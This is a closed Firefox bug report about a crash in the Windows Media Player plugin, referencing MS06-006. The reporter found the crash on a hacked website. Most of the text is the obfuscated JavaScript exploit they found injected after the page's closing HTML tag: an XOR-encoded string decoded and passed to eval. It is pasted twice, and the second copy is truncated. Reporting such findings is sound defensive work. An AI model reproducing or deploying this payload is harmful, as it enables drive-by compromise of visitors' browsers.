Closed Bug 381431 Opened 19 years ago Closed 19 years ago

WMP crash on long <embed> src (Microsoft Security Bulletin MS06-006)

Categories

(Firefox :: General, defect)

Product:
Firefox
Component:
General
Platform:
x86
Windows XP
Type:
defect
Priority:
Not set
Severity:
critical

Tracking

()

Status:
RESOLVED INVALID

People

(Reporter: bakytn, Unassigned)

References

(
URL
)

Details

(Keywords: crash, Whiteboard: WMP crash)

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 this site actually was hacked. I've notice the following javascript after closing <HTML> tag <script>var VJL='OO9Oo9Or9Oy9O09O39Ot9OA9Ob9Op9OW9OE9OF9OH9Of9OG9Ow9Oc9O59On9ON9Ok9Od9OZ9Oj9OX9O79OD9Og9Oa9O89oO9oo9or9oy9o09o39ot9oA9ob9op9oW9oE9oF9oH9of9oG9ow9oc9o59on9oN9ok9od9oZ9oj9oX9o79oD9og9oa9o89rO9ro9rr9ry9r09r39rt9rA9rb9rp9rW9rE9rF9rH9rf9rG',AFh=String('9');var Dr=Array(MS('14264'),MS('14259'),MS('14271'),MS('14249'),MS('14257'),15040^3449,17207^29829,MS('14248'),2649^15787,7426^10921,22339^24813,MS('14261'),20323^30871,MS('14334'),16431^30671,22034^25021,MS('14252'),MS('14306'),20335^30917,12678^1595,MS('14332'),MS('14239'),MS('14213'),MS('14253'),29676^17421,MS('14331'),16119^2387,MS('14270'),MS('14266'),20530^26531,MS('14267'),MS('14317'),30926^20261,MS('14235'),MS('14214'),28514^22769,MS('14260'),17341^29737,18346^28705,MS('14234'),MS('14262'),18959^32145,MS('14245'),8315^6037,18131^29017,MS('14231'),5923^8359,MS('14256'),18372^28707,24318^26993,MS('14325'),28541^22669,MS('14246'),MS('14237'),MS('14319'),10284^8137,31075^20105,16875^30211,31415^19765,5057^9261,14246^79,14263^83,MS('14224'),14898^3495,11643^6889,MS('14247'),3512^14873,2001^12361,MS('14230'),MS('14263'),MS('14233'),MS('14327'),24234^26925,MS('14209'),MS('14220'),MS('14216'),MS('14221'),MS('14323')),GIlJ;var wOW,AQd;var zr='OOOoOrOyO0O3OtOAObOpOWOEOAO3OFOHOfOGOrOWOEOwOAOcO5OnOWONOEOkOdOZOjOXOnOnO7OnOWO7OnO5O7OnODO7OnOgO7OnOZO7OnOaO7OnO8O7OnoOO7OnooO7OnorO7OnOGO7OnoyO7Ono0O7Ono3O7OnOOO7OnOdO7OnotO7OnoAO7OnobO7OnopO7OnOAO7OnoWO7OnoEO7OnoFO7OnoHO7OnofO7OnoGO7OnOwO7OnowO7OnOEO7OWOnO7OWOWO7OWO5O7OWODO7OWOgO7OWOZO7OWOaO7OWO8O7OWoOO7OWooO7OWorO7OWOGO7OWoyO7OWo0O7OWo3O7OWOOO7OWOdO7OWotO7OWoAO7OWobO7OWopO7OWOAO7OWoWO7OWoEO7OWoFO7OWoHO7OWofO7OWoGO7OWOwO7OWowO7OWOEO7O5OnO7O5OWO7O5O5O7O5ODO7O5OgO7O5OZO7O5OaO7O5O8O7O5oOO7O5ooO7O5orO7O5OGO7O5oyOXocO5OnOWONOWOZOjo5OAOWOEOtO8OFOXO7OXonoNokOWOjodOWOWOnoEOFOWoHoyOFOXoFoZojoXojOXonoNoOojojo7oOoDo7oOogoooNOWoHoyOFOXoFo7ogoXoFOXonoNOWoHoyOFOXoFo7ogo7ooOXonoNOWoHoyOFOXoFo7ogoaoFOXonoNoZoOoaoXoDoFogojoFoOoNOWoHoyOFOXoFo7ogo7oOOXonoNOWoHoyOFOXoFoZojoooOOXonoNOWoHoyOFOXoFo7ogoaojOXonoNOWoHoyOFOXoFo7ogo7ogOXonoNoOoaoOoooXoDoFoXoFojojoNOWoHoyOFOXoFo7ogoaogOXonoNoFoOo7ogoXoDoZoXoOojoNOWoHoyOFOXoFo7ogogo8OXonoNoFojoXoZoXoDoOoOo8oFoooNoOo8oOoFoFoDooogoZojoNoFojo8o7ogoDoOogoaoXoOoNoZoFo7ojoZoDo8ojoXoooNOWoHoyOFOXoFo7ogogoaOXonoNoOoXoooaogoDoooZo7ojoNoFoXogoZoaoDoOo7oZo7oZoNo8o7oaoZoDoZoOojoooOoNOWoHoyOFOXoFo7ogoaoXOXonoNoOoFoFo8oFoDoFojoFoaoooNoFo7ogoooFoDoOogoOoooNOWoHoyOFOXoFo7ogoao8OXonoNOWoHoyOFOXoFo7ogoaoZOXonoNOWoHoyOFOXoFo7ogoZoFOXonoNOWoHoyOFOXoFo7ogo7oZOXonoNOWoHoyOFOXoFo7ogoXogOXonoNOWoHoyOFOXoFo7ogoFoOOXonoNoFoZo7o7oXoDoOoXogoOoNOWoHoyOFOXoFo7ogogooOXonoNOWoHoyOFOXoFoZojoXo8OXonoNOWoHoyOFOXoFoZojojo7OXonoNoOoOoFoFo8oDoZogoFoXoooNo8oXo7oZoDoZoOoooooaoNOWoHoyOFOXoFo7ogoFoFOXonoNOWoHoyOFOXoFoZojoooXOXonoNoFo7oZoZogoDooogojoNOWoHoyOFOXoFo7ogoZoXOXonoNOWoHoyOFOXoFo7ogoFo7OXonoNoOogogojogoDoZoOo7oFoooNOWoHoyOFOXoFoZojooojOXonoNOWoHoyOFOXoFo7ogoZooOXonoNoOo7oFo7oFoDoFoooOoaoOoNoFoXoOojo8oDoOoaoZoaoZoNOWoHoyOFOXoFo7ogoOoOOXonoNoZoOoaoXoooDojo8o8oooNOWoHoyOFOXoFo7ogoFogOXonoNOWoHoyOFOXoFo7ogo7o8OXonoNOWoHoyOFOXoFoZojo8oaOXonoNoOoZojoZoXoDoFoooao8oOoNOWoHoyOFOXoFo7ogoOo7OXonoNo8oOogojoDoOoXojogoooNo8oXoaoZoDoZoOoooaoZoNOWoHoyOFOXoFoZojoooFOXonoNoZogoZoooaoDoOoOogoFoOoNoFojoOooogoDoOoOoZoOoZoNOWoHoyOFOXoFoZojo8oFOXonoNOWoHoyOFOXoFoZojo8ogOXonoNoXoaoOoXoDoOoooXoOoooNoOoOoZoXoXoDoFojoOoOoZoNoFogo8oZoOoDoZoFogoOoNOWoHoyOFOXoFo7ogoOo8OXonoNOWoHoyOFOXoFo7ogoao7OXonoNoOojojoooFoDoaoOoOoaoNOWoHoyOFOXoFo7ogogojOXonoNOWoHoyOFOXoFo7ogoOoFOXonoNoooFoZo7oDoOoXooo8oaoNoFoaoOoOoDoFoOoXoFoaoNOWoHoyOFOXoFo7ogogoXOXonoNoFojogooojoDoOoOoZoaoOoNOWoHoyOFOXoFo7ogoaooOXonoNoZoOoOoXoaoDojoFoZoOonocO5OnOWONorO0oNrOODocO5OnOWONO0rooNorrrOjOXOnOnOnOWOnO5OnODOnOgOnOZOnOaOnO8OnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOno0Ono3OnO5OnOOOnOdOnotOnoAOnobOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOdOnotOnoAOnobOnoEOnoFOnoWOnorOnoHOnOaOnofOnoGOnOwOnowOnODOnoyOnOEOnOWOWOnOWOWOWO5OWODOWOgOWOgOWOnOWOgOWOZOWOnOWOgOWOaOWOnOWOgOnOGOWOnOWOgOnoFOWOnOWOgOnOdOWOnOWOgOnO5OWOnOWOgOnODOWOnOWOgOWO8OWOnOWOgOWoOOWOnOWOgOnotOWOnOWOgOnofOWOnOWOgOWooOWOnOWOgOWorOWOnOWOgOnowOWOnOWOgOnoWOWOnOWOgOWOGOWOnOWOgOnooOWOnOWOgOnOZOWOnOWOgOWoyOWOnOWOgOWo0OWOnOWOgOnOaOWOnOWOgOWo3OWOnOWOgOWOOOWOnOWOgOWOdOWOnOWOgOnoAOWOnOWOgOWotOWOnOWOgOWoAOWOnOWOgOWobOWODOWopOnOZOnOaOWOAOnooOWO5OWoWOnOaOnODOnOgOnorOnoHOnOOOWODOWOnOWODOnopOWoEOnOwOnowOnODOnoyOno0OWoFOnorOWO5OWOZOnODOnODOnowOWooOnOOOWOOOWo3OWoHOWofOWOGOWoGOWOOOWofOWOwOWopOWowOWOEOWo3OWofOWofOWoGOWO8OWoyOWOEOWofOWopOWOOOWOGOWo3OWoyOWOGOWoGOWOwOWofOWOGOWoHOWopOWowOWowOWowOWowOWoyOWoGOWOwOWowOWofOWo3OWoHOWopOWoHOWo3OWoyOWofOWoGOWOOOWoHOWoyOWOGOWowOWopOWowOWOGOWOOOWOGOWofOWoGOWOOOWoyOWOwOWofOWofOWopOWowOWOGOWo3OWo3OWoHOWoGOWOOOWoyOWowOWOGOWOwOWopOWoHOWo3OWowOWOGOWoGOWOOOWoHOWoyOWO8OWOwOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWOGOWo3OWODOnopOWopOWOOOWOOOWofOWoHOWofOWoGOWOOOWO8OWOGOWofOWopOWOOOWOOOWOGOWo3OWofOWoGOWowOWOEOWoHOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWowOWODOnopOWopOWowOWofOWOOOWOOOWOOOWoGOWO8OWowOWo3OWO8OWopOWowOWO8OWOGOWO8OWOEOWoGOWOOOWofOWOEOWO8OWofOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOOOWoHOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWOOOWODOnopOWopOWoHOWOGOWo3OWowOWoGOWOOOWoHOWofOWoyOWoHOWopOWOOOWO8OWOwOWOEOWoGOWOOOWOOOWOEOWowOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWofOWODOnopOWopOWoHOWOEOWofOWofOWoGOWOwOWo3OWOOOWO8OWofOWopOWO8OWO8OWoHOWOOOWoGOWowOWofOWofOWoyOWOwOWopOWowOWOOOWO8OWowOWo3OWoGOWOOOWOGOWofOWo3OWOwOWopOWOwOWo3OWoyOWOOOWoyOWoGOWoHOWoHOWOEOWoHOWopOWOwOWOOOWofOWOGOWo3OWoGOWowOWOOOWo3OWO8OWO8OWopOWOOOWoHOWowOWowOWoGOWOOOWOwOWO8OWOwOWowOWopOWowOWoHOWoHOWoyOWO8OWoGOWofOWOGOWOwOWoHOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOwOWOwOWODOnopOnopOWopO5O5OnOGOWoEOnOwOnowOnODOnoyO5ODO5OgOWopO5OZOnorOWoEOnOwOnowOnODOnoyO5OaOnorOWoFOWO5OWODOWOgOWOgOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOnODOWOgOWO8OWOgOnOGOWOgOWoOOWOgOnotOWOgOnofOWOgOWooOWOgOWorOWOgOWorOWOgOnowOWOgOnoWOWOgOWOGOWOgOWOGOWOgOWoOOWOgOnooOWOgOWoOOWOgOnooOWOgOnOZOWOgOWoyOWOgOWo0OWOgOnooOWOgOnOGOWOgOnOaOWOgOWOGOWOgOnooOWOgOWOGOWOgOnO5OWOgOWo3OWOgOnowOWOgOWOGOWOgOnofOWOgOnODOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWOOOWOgOnooOWOgOnOGOWOgOWOdOWOgOnO5OWOgOnOGOWOgOnotOWOgOnoAOWOgOnODOWOgOWotOWOgOWOZOWOgOWOdOWOgOWorOWOgOWooOWOgOnotOWOgOWoAOWOgOnODOWOgOWooOWOgOnO5OWOgOWOZOWOgOnOaOWOgOWooOWOgOWorOWOgOnotOWOgOWoAOWOgOWobOWOgOWOgOWOgOWOGOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWobOWODOWopO5O8O5OaOnOWOWO5OWODOWODOWoEOnOEOnOWOWOnOWOWOWO5OnOEOnOWOWOnOWOWOnoEOnOWOnOZOnoFOnOgOnOaOnOOOnOZOnOaOWOAOnooOnopOWoEOnoOOnOGOnODOnOOO5O5OnOGOWO5OWo3OWoEO5O5OnOGOnOnO5OaOnorOWoFOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5O5OnOGO5oOOWO5OWOOOnopOnOAO5OZOnorOWO5O5OaOnorOWoFOnoEOnOWOnooO5OgOnOWOnOaOnODOnOOO5O5OnOGOWopOWOOOnopOWoEOnoOOnOGOnODOnOOO5ODO5OgOWO5OWo3OWoEO5ODO5OgOnOnOnOEOnOWOWOnOWOWOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5ODO5OgO5oOO5oOOnopOnOAOnOgOnoOOnOOOnOEOnOWOWOnOWOWO5ooO5ODO5OgO5orOWO5OWO5O5OZOnorOnopO5OgOnODOnoWOnowO5ODOWoEOnoGOnoyO5O8O5OaOnOWO5oOOWO5OWoWOnOaOnODOnOgOnorOnoHOnoEOnoOOnODOnOGOWobO5OWOnofOnowOnODO5OWOnOGO5OGOnoWOnOOOno0OWoFOnorO5ooO5ODO5OgO5orOWoGOWOOOWo3OWoyOWofOWO8OnopOWoEOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOWo0OWOnO5OnO5OWOnOOOnoFOWOaOnOWOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOZOnowOnODOnOWOnoWOWoAOnorOnOaOnOOOnoFOWOaOnOWOnopOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyO5OaO5OZOnOOO5ODOWoOO5OaOWOdOWopOWoFO5OZOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyO5ODOWoOO5OaOWOdOnoEOnOWOnOZOnoFOnOgOnOaOnOOOWoFO5OZOnopOnoGO5OGOnOGOnO5OnooOWobOnoWOnorOnOaOnoEOnotOnODOnOgOnOaOnoWOnOOO5O8O5OaOnOWOnopOWoEOnOnO5oyOnOWOnO5OnODOnOgOnOZOnOaOnO8OXocO5OnOWONoWO8Ojo5OAOWOEOtO8OFonocOgOyOtOrOAOEOoOtONOWoHoyOFOGOaonryOWO3OAOyOWOtONOwOnOWOGO3roOtOAOFOGOaonr0OgOyOtOrOAOEOoOtONO7r3O5opOFrOrtrAoEoNodokrbOWonryOWO3OAOyOWOtONrOrtrAoEObOGOwowOEOAOFodokrbOWonr0OEOkOdOZOjOEOkOdOZObOGOwowOEOAOFOWOZonocOgOoOWOForO0OjogocorO0OforrrObowO3OtO8OAo3ocorO0rpOjoFonryO0roOjorrrObOGOyODOGOAOWOForO0oNoFonocOgOoOWOFrOODOjogocrOODOfOEOkOdOZObowO3OtO8OAo3ocrOODrprponryOEOgOFOEOkOdOZrWrOODrEOjOjO0roonODOWO3OnrAocr0ONoWO8rpOjo5OAOWOEOtO8ObOgOWOoO0Oko3OnOWOkOoOOO3OFokOWrWrOODrEoDoFoZojoXoaonocr0OgOyOtOrOAOEOoOtONodo5oGrFOFoArHrfonryOWO3OAOyOWOtONoArHrfObowO3OtO8OAo3r0OOOoOrOyO0O3OtOAObOpOWOEOAO3OFoWO8onocOfrGOGOrOWOEOwOAOcOHonoc',KoW='';VJL=VJL.split(AFh);for(GIlJ=0;GIlJ<zr.length;GIlJ+=2){AQd=zr.substr(GIlJ,2);for(wOW=0;wOW<VJL.length;wOW++){if(VJL[wOW]==AQd)break;} KoW+=String.fromCharCode(Dr[wOW]^14300);}function MS(Sa){return parseInt(Sa)}function BUx(GjF){return GjF.length}function MOx(Lsrk,ZK){return Lsrk.split(ZK)}eval(KoW);</script> Reproducible: Always Steps to Reproduce: 1.Open the site i've provided 2. 3. Actual Results: application just closed without any message. Expected Results: normal view this site actually was hacked. I've notice the following javascript after closing <HTML> tag <script>var VJL='OO9Oo9Or9Oy9O09O39Ot9OA9Ob9Op9OW9OE9OF9OH9Of9OG9Ow9Oc9O59On9ON9Ok9Od9OZ9Oj9OX9O79OD9Og9Oa9O89oO9oo9or9oy9o09o39ot9oA9ob9op9oW9oE9oF9oH9of9oG9ow9oc9o59on9oN9ok9od9oZ9oj9oX9o79oD9og9oa9o89rO9ro9rr9ry9r09r39rt9rA9rb9rp9rW9rE9rF9rH9rf9rG',AFh=String('9');var Dr=Array(MS('14264'),MS('14259'),MS('14271'),MS('14249'),MS('14257'),15040^3449,17207^29829,MS('14248'),2649^15787,7426^10921,22339^24813,MS('14261'),20323^30871,MS('14334'),16431^30671,22034^25021,MS('14252'),MS('14306'),20335^30917,12678^1595,MS('14332'),MS('14239'),MS('14213'),MS('14253'),29676^17421,MS('14331'),16119^2387,MS('14270'),MS('14266'),20530^26531,MS('14267'),MS('14317'),30926^20261,MS('14235'),MS('14214'),28514^22769,MS('14260'),17341^29737,18346^28705,MS('14234'),MS('14262'),18959^32145,MS('14245'),8315^6037,18131^29017,MS('14231'),5923^8359,MS('14256'),18372^28707,24318^26993,MS('14325'),28541^22669,MS('14246'),MS('14237'),MS('14319'),10284^8137,31075^20105,16875^30211,31415^19765,5057^9261,14246^79,14263^83,MS('14224'),14898^3495,11643^6889,MS('14247'),3512^14873,2001^12361,MS('14230'),MS('14263'),MS('14233'),MS('14327'),24234^26925,MS('14209'),MS('14220'),MS('14216'),MS('14221'),MS('14323')),GIlJ;var wOW,AQd;var zr='OOOoOrOyO0O3OtOAObOpOWOEOAO3OFOHOfOGOrOWOEOwOAOcO5OnOWONOEOkOdOZOjOXOnOnO7OnOWO7OnO5O7OnODO7OnOgO7OnOZO7OnOaO7OnO8O7OnoOO7OnooO7OnorO7OnOGO7OnoyO7Ono0O7Ono3O7OnOOO7OnOdO7OnotO7OnoAO7OnobO7OnopO7OnOAO7OnoWO7OnoEO7OnoFO7OnoHO7OnofO7OnoGO7OnOwO7OnowO7OnOEO7OWOnO7OWOWO7OWO5O7OWODO7OWOgO7OWOZO7OWOaO7OWO8O7OWoOO7OWooO7OWorO7OWOGO7OWoyO7OWo0O7OWo3O7OWOOO7OWOdO7OWotO7OWoAO7OWobO7OWopO7OWOAO7OWoWO7OWoEO7OWoFO7OWoHO7OWofO7OWoGO7OWOwO7OWowO7OWOEO7O5OnO7O5OWO7O5O5O7O5ODO7O5OgO7O5OZO7O5OaO7O5O8O7O5oOO7O5ooO7O5orO7O5OGO7O5oyOXocO5OnOWONOWOZOjo5OAOWOEOtO8OFOXO7OXonoNokOWOjodOWOWOnoEOFOWoHoyOFOXoFoZojoXojOXonoNoOojojo7oOoDo7oOogoooNOWoHoyOFOXoFo7ogoXoFOXonoNOWoHoyOFOXoFo7ogo7ooOXonoNOWoHoyOFOXoFo7ogoaoFOXonoNoZoOoaoXoDoFogojoFoOoNOWoHoyOFOXoFo7ogo7oOOXonoNOWoHoyOFOXoFoZojoooOOXonoNOWoHoyOFOXoFo7ogoaojOXonoNOWoHoyOFOXoFo7ogo7ogOXonoNoOoaoOoooXoDoFoXoFojojoNOWoHoyOFOXoFo7ogoaogOXonoNoFoOo7ogoXoDoZoXoOojoNOWoHoyOFOXoFo7ogogo8OXonoNoFojoXoZoXoDoOoOo8oFoooNoOo8oOoFoFoDooogoZojoNoFojo8o7ogoDoOogoaoXoOoNoZoFo7ojoZoDo8ojoXoooNOWoHoyOFOXoFo7ogogoaOXonoNoOoXoooaogoDoooZo7ojoNoFoXogoZoaoDoOo7oZo7oZoNo8o7oaoZoDoZoOojoooOoNOWoHoyOFOXoFo7ogoaoXOXonoNoOoFoFo8oFoDoFojoFoaoooNoFo7ogoooFoDoOogoOoooNOWoHoyOFOXoFo7ogoao8OXonoNOWoHoyOFOXoFo7ogoaoZOXonoNOWoHoyOFOXoFo7ogoZoFOXonoNOWoHoyOFOXoFo7ogo7oZOXonoNOWoHoyOFOXoFo7ogoXogOXonoNOWoHoyOFOXoFo7ogoFoOOXonoNoFoZo7o7oXoDoOoXogoOoNOWoHoyOFOXoFo7ogogooOXonoNOWoHoyOFOXoFoZojoXo8OXonoNOWoHoyOFOXoFoZojojo7OXonoNoOoOoFoFo8oDoZogoFoXoooNo8oXo7oZoDoZoOoooooaoNOWoHoyOFOXoFo7ogoFoFOXonoNOWoHoyOFOXoFoZojoooXOXonoNoFo7oZoZogoDooogojoNOWoHoyOFOXoFo7ogoZoXOXonoNOWoHoyOFOXoFo7ogoFo7OXonoNoOogogojogoDoZoOo7oFoooNOWoHoyOFOXoFoZojooojOXonoNOWoHoyOFOXoFo7ogoZooOXonoNoOo7oFo7oFoDoFoooOoaoOoNoFoXoOojo8oDoOoaoZoaoZoNOWoHoyOFOXoFo7ogoOoOOXonoNoZoOoaoXoooDojo8o8oooNOWoHoyOFOXoFo7ogoFogOXonoNOWoHoyOFOXoFo7ogo7o8OXonoNOWoHoyOFOXoFoZojo8oaOXonoNoOoZojoZoXoDoFoooao8oOoNOWoHoyOFOXoFo7ogoOo7OXonoNo8oOogojoDoOoXojogoooNo8oXoaoZoDoZoOoooaoZoNOWoHoyOFOXoFoZojoooFOXonoNoZogoZoooaoDoOoOogoFoOoNoFojoOooogoDoOoOoZoOoZoNOWoHoyOFOXoFoZojo8oFOXonoNOWoHoyOFOXoFoZojo8ogOXonoNoXoaoOoXoDoOoooXoOoooNoOoOoZoXoXoDoFojoOoOoZoNoFogo8oZoOoDoZoFogoOoNOWoHoyOFOXoFo7ogoOo8OXonoNOWoHoyOFOXoFo7ogoao7OXonoNoOojojoooFoDoaoOoOoaoNOWoHoyOFOXoFo7ogogojOXonoNOWoHoyOFOXoFo7ogoOoFOXonoNoooFoZo7oDoOoXooo8oaoNoFoaoOoOoDoFoOoXoFoaoNOWoHoyOFOXoFo7ogogoXOXonoNoFojogooojoDoOoOoZoaoOoNOWoHoyOFOXoFo7ogoaooOXonoNoZoOoOoXoaoDojoFoZoOonocO5OnOWONorO0oNrOODocO5OnOWONO0rooNorrrOjOXOnOnOnOWOnO5OnODOnOgOnOZOnOaOnO8OnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOno0Ono3OnO5OnOOOnOdOnotOnoAOnobOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOdOnotOnoAOnobOnoEOnoFOnoWOnorOnoHOnOaOnofOnoGOnOwOnowOnODOnoyOnOEOnOWOWOnOWOWOWO5OWODOWOgOWOgOWOnOWOgOWOZOWOnOWOgOWOaOWOnOWOgOnOGOWOnOWOgOnoFOWOnOWOgOnOdOWOnOWOgOnO5OWOnOWOgOnODOWOnOWOgOWO8OWOnOWOgOWoOOWOnOWOgOnotOWOnOWOgOnofOWOnOWOgOWooOWOnOWOgOWorOWOnOWOgOnowOWOnOWOgOnoWOWOnOWOgOWOGOWOnOWOgOnooOWOnOWOgOnOZOWOnOWOgOWoyOWOnOWOgOWo0OWOnOWOgOnOaOWOnOWOgOWo3OWOnOWOgOWOOOWOnOWOgOWOdOWOnOWOgOnoAOWOnOWOgOWotOWOnOWOgOWoAOWOnOWOgOWobOWODOWopOnOZOnOaOWOAOnooOWO5OWoWOnOaOnODOnOgOnorOnoHOnOOOWODOWOnOWODOnopOWoEOnOwOnowOnODOnoyOno0OWoFOnorOWO5OWOZOnODOnODOnowOWooOnOOOWOOOWo3OWoHOWofOWOGOWoGOWOOOWofOWOwOWopOWowOWOEOWo3OWofOWofOWoGOWO8OWoyOWOEOWofOWopOWOOOWOGOWo3OWoyOWOGOWoGOWOwOWofOWOGOWoHOWopOWowOWowOWowOWowOWoyOWoGOWOwOWowOWofOWo3OWoHOWopOWoHOWo3OWoyOWofOWoGOWOOOWoHOWoyOWOGOWowOWopOWowOWOGOWOOOWOGOWofOWoGOWOOOWoyOWOwOWofOWofOWopOWowOWOGOWo3OWo3OWoHOWoGOWOOOWoyOWowOWOGOWOwOWopOWoHOWo3OWowOWOGOWoGOWOOOWoHOWoyOWO8OWOwOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWOGOWo3OWODOnopOWopOWOOOWOOOWofOWoHOWofOWoGOWOOOWO8OWOGOWofOWopOWOOOWOOOWOGOWo3OWofOWoGOWowOWOEOWoHOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWowOWODOnopOWopOWowOWofOWOOOWOOOWOOOWoGOWO8OWowOWo3OWO8OWopOWowOWO8OWOGOWO8OWOEOWoGOWOOOWofOWOEOWO8OWofOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOOOWoHOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWoyOWODOnopOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWoyOWO8OWOOOWODOnopOWopOWoHOWOGOWo3OWowOWoGOWOOOWoHOWofOWoyOWoHOWopOWOOOWO8OWOwOWOEOWoGOWOOOWOOOWOEOWowOWowOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWowOWofOWODOnopOWopOWoHOWOEOWofOWofOWoGOWOwOWo3OWOOOWO8OWofOWopOWO8OWO8OWoHOWOOOWoGOWowOWofOWofOWoyOWOwOWopOWowOWOOOWO8OWowOWo3OWoGOWOOOWOGOWofOWo3OWOwOWopOWOwOWo3OWoyOWOOOWoyOWoGOWoHOWoHOWOEOWoHOWopOWOwOWOOOWofOWOGOWo3OWoGOWowOWOOOWo3OWO8OWO8OWopOWOOOWoHOWowOWowOWoGOWOOOWOwOWO8OWOwOWowOWopOWowOWoHOWoHOWoyOWO8OWoGOWofOWOGOWOwOWoHOWopOWo0OWOnO5OnO5OWOnOOOWODOWOOOWo3OWofOWOwOWOwOWODOnopOnopOWopO5O5OnOGOWoEOnOwOnowOnODOnoyO5ODO5OgOWopO5OZOnorOWoEOnOwOnowOnODOnoyO5OaOnorOWoFOWO5OWODOWOgOWOgOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOnODOWOgOWO8OWOgOnOGOWOgOWoOOWOgOnotOWOgOnofOWOgOWooOWOgOWorOWOgOWorOWOgOnowOWOgOnoWOWOgOWOGOWOgOWOGOWOgOWoOOWOgOnooOWOgOWoOOWOgOnooOWOgOnOZOWOgOWoyOWOgOWo0OWOgOnooOWOgOnOGOWOgOnOaOWOgOWOGOWOgOnooOWOgOWOGOWOgOnO5OWOgOWo3OWOgOnowOWOgOWOGOWOgOnofOWOgOnODOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWOOOWOgOnooOWOgOnOGOWOgOWOdOWOgOnO5OWOgOnOGOWOgOnotOWOgOnoAOWOgOnODOWOgOWotOWOgOWOZOWOgOWOdOWOgOWorOWOgOWooOWOgOnotOWOgOWoAOWOgOnODOWOgOWooOWOgOnO5OWOgOWOZOWOgOnOaOWOgOWooOWOgOWorOWOgOnotOWOgOWoAOWOgOWobOWOgOWOgOWOgOWOGOWOgOWOZOWOgOWOaOWOgOnOGOWOgOnoFOWOgOnOdOWOgOnO5OWOgOWobOWODOWopO5O8O5OaOnOWOWO5OWODOWODOWoEOnOEOnOWOWOnOWOWOWO5OnOEOnOWOWOnOWOWOnoEOnOWOnOZOnoFOnOgOnOaOnOOOnOZOnOaOWOAOnooOnopOWoEOnoOOnOGOnODOnOOO5O5OnOGOWO5OWo3OWoEO5O5OnOGOnOnO5OaOnorOWoFOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5O5OnOGO5oOOWO5OWOOOnopOnOAO5OZOnorOWO5O5OaOnorOWoFOnoEOnOWOnooO5OgOnOWOnOaOnODOnOOO5O5OnOGOWopOWOOOnopOWoEOnoOOnOGOnODOnOOO5ODO5OgOWO5OWo3OWoEO5ODO5OgOnOnOnOEOnOWOWOnOWOWOnoEOnoFOnoWOnorOnoHOnOaOnofOWoEO5ODO5OgO5oOO5oOOnopOnOAOnOgOnoOOnOOOnOEOnOWOWOnOWOWO5ooO5ODO5OgO5orOWO5OWO5O5OZOnorOnopO5OgOnODOnoWOnowO5ODOWoEOnoGOnoyO5O8O5OaOnOWO5oOOWO5OWoWOnOaOnODOnOgOnorOnoHOnoEOnoOOnODOnOGOWobO5OWOnofOnowOnODO5OWOnOGO5OGOnoWOnOOOno0OWoFOnorO5ooO5ODO5OgO5orOWoGOWOOOWo3OWoyOWofOWO8OnopOWoEOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyOWo0OWOnO5OnO5OWOnOOOnoFOWOaOnOWOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyOnOZOnowOnODOnOWOnoWOWoAOnorOnOaOnOOOnoFOWOaOnOWOnopOnoGOnoOOnooOnorOnO5OnOaOnOgOnOGOnorOnoyO5OaO5OZOnOOO5ODOWoOO5OaOWOdOWopOWoFO5OZOnopOnOAOnODOnoWOnOaOnooOnODOnorOnoyO5ODOWoOO5OaOWOdOnoEOnOWOnOZOnoFOnOgOnOaOnOOOWoFO5OZOnopOnoGO5OGOnOGOnO5OnooOWobOnoWOnorOnOaOnoEOnotOnODOnOgOnOaOnoWOnOOO5O8O5OaOnOWOnopOWoEOnOnO5oyOnOWOnO5OnODOnOgOnOZOnOaOnO8OXocO5OnOWONoWO8Ojo5OAOWOEOtO8OFonocOgOyOtOrOAOEOoOtONOWoHoyOFOGOaonryOWO3OAOyOWOtONOwOnOWOGO3roOtOAOFOGOaonr0OgOyOtOrOAOEOoOtONO7r3O5opOFrOrtrAoEoNodokrbOWonryOWO3OAOyOWOtONrOrtrAoEObOGOwowOEOAOFodokrbOWonr0OEOkOdOZOjOEOkOdOZObOGOwowOEOAOFOWOZonoc